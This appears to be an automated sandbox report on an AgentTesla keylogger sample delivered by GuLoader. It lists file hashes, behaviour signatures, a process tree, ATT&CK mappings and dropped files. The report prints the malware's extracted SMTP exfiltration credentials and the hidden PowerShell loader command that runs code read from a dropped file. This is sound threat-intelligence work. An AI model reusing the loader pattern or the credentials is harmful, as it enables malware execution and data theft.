agenttesla | 545c9b0499ec2a2e5503d72d76954ed020e63a290895cb3fcd4f382a2496b31a

General

Target

3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe
Size

652KB
MD5

7971d20d1b569b51e56f37fc734a1c81
SHA1

3c1a1fa66cd9890c8e0021853d39ab7b3aefc5c7
SHA256

3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b
SHA512

6efbec26eebfcaeed965a46ab22f4870fc6fa93d09818c7cf03782f34c8a768b4defa5b9b1f347ef41798df82c725a3f5a402793d977e6d791fe5b857d36c6a4
SSDEEP

12288:nXRAvufNFTr7L/R90rJ2RPBY+K9Yc65vpNpqwDwmuu6TNxFu+i:nXRyUNJr7L30N2RJXKz65vprPqu6hxF+

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
cp8nl.hyperhost.ua
Port:
587
Username:
[email protected]
Password:
7213575aceACE@#$
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
4	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\skillfully.ins	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2400	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3008	powershell.exe
2400	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3008 set thread context of 2400	3008	powershell.exe	32

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Common Files\ukases.lnk	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\resources\tuskish\smilehuller.lnk	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
2400	wab.exe
2400	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3008	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2400	wab.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 3008	2132	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe	28
PID 2132 wrote to memory of 3008	2132	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe	28
PID 2132 wrote to memory of 3008	2132	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe	28
PID 2132 wrote to memory of 3008	2132	3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe	28
PID 3008 wrote to memory of 2616	3008	powershell.exe	30
PID 3008 wrote to memory of 2616	3008	powershell.exe	30
PID 3008 wrote to memory of 2616	3008	powershell.exe	30
PID 3008 wrote to memory of 2616	3008	powershell.exe	30
PID 3008 wrote to memory of 2400	3008	powershell.exe	32
PID 3008 wrote to memory of 2400	3008	powershell.exe	32
PID 3008 wrote to memory of 2400	3008	powershell.exe	32
PID 3008 wrote to memory of 2400	3008	powershell.exe	32
PID 3008 wrote to memory of 2400	3008	powershell.exe	32
PID 3008 wrote to memory of 2400	3008	powershell.exe	32

C:\Users\Admin\AppData\Local\Temp\3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe
"C:\Users\Admin\AppData\Local\Temp\3137663df90055b5c2dd92ff91ed1a0edc6965dbd50f83578643c727b36b060b.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Begavede=Get-Content 'C:\Users\Admin\AppData\Local\Ubarberet\Borteskamoteringers\Fridtjof.Bea';$Alpelandet=$Begavede.SubString(59880,3);.$Alpelandet($Begavede)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:2616
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Ubarberet\Borteskamoteringers\Fridtjof.Bea

Filesize
58KB

MD5
b747bba9cd5ec658f83a8f004b9ddc9b

SHA1
eb25e589a4de7af6afd91ccaf9c12f30aaf3c67a

SHA256
4fc178d7b0c912917422d5259e796c28f38a765bc3f56fa14df7480b49a0f2f2

SHA512
7e115a0e8cc9b16cd7eeafc6aa6635815763384ab543bb92308c197af849a49e9109f775652151617dc094862313109830091f5d203f582a887595b81b875d9e

Download Submit
C:\Users\Admin\AppData\Local\Ubarberet\Borteskamoteringers\Menneskekrligste.Stt

Filesize
350KB

MD5
5a078e54f0d5d5d90111e92881a45f0b

SHA1
96c2419b4e1f9609e11bab95c051780d5a812a3d

SHA256
cec934596d590684641da052fa5d39b119c7b668c28925e196213d4258ac75b0

SHA512
d6b893adddd088f8c03389a31d10c6b87c0f67f1620739c02821e2f51d4b785abb512fc1e550ba08b653569069d37e62c1f8a54a55845d2b346f9eebb061f569

Download Submit
memory/2400-29-0x0000000077CC0000-0x0000000077D96000-memory.dmp

Filesize
856KB

Download
memory/2400-26-0x0000000077AD0000-0x0000000077C79000-memory.dmp

Filesize
1.7MB

Download
memory/2400-60-0x000000006F630000-0x000000006FD1E000-memory.dmp

Filesize
6.9MB

Download
memory/2400-57-0x0000000001CD0000-0x0000000003EEB000-memory.dmp

Filesize
34.1MB

Download
memory/2400-56-0x000000006F630000-0x000000006FD1E000-memory.dmp

Filesize
6.9MB

Download
memory/2400-55-0x0000000000C60000-0x0000000000CA0000-memory.dmp

Filesize
256KB

Download
memory/2400-52-0x0000000000C60000-0x0000000001CC2000-memory.dmp

Filesize
16.4MB

Download
memory/2400-25-0x0000000001CD0000-0x0000000003EEB000-memory.dmp

Filesize
34.1MB

Download
memory/2400-28-0x0000000077CF6000-0x0000000077CF7000-memory.dmp

Filesize
4KB

Download
memory/3008-20-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/3008-11-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

Filesize
256KB

Download
memory/3008-21-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

Filesize
256KB

Download
memory/3008-19-0x0000000006700000-0x000000000891B000-memory.dmp

Filesize
34.1MB

Download
memory/3008-22-0x0000000077AD0000-0x0000000077C79000-memory.dmp

Filesize
1.7MB

Download
memory/3008-27-0x0000000006700000-0x000000000891B000-memory.dmp

Filesize
34.1MB

Download
memory/3008-24-0x0000000077CC0000-0x0000000077D96000-memory.dmp

Filesize
856KB

Download
memory/3008-9-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/3008-18-0x0000000006700000-0x000000000891B000-memory.dmp

Filesize
34.1MB

Download
memory/3008-54-0x0000000006700000-0x000000000891B000-memory.dmp

Filesize
34.1MB

Download
memory/3008-17-0x0000000002D90000-0x0000000002D94000-memory.dmp

Filesize
16KB

Download
memory/3008-12-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/3008-15-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

Filesize
256KB

Download
memory/3008-10-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

Filesize
256KB

Download

Analysis

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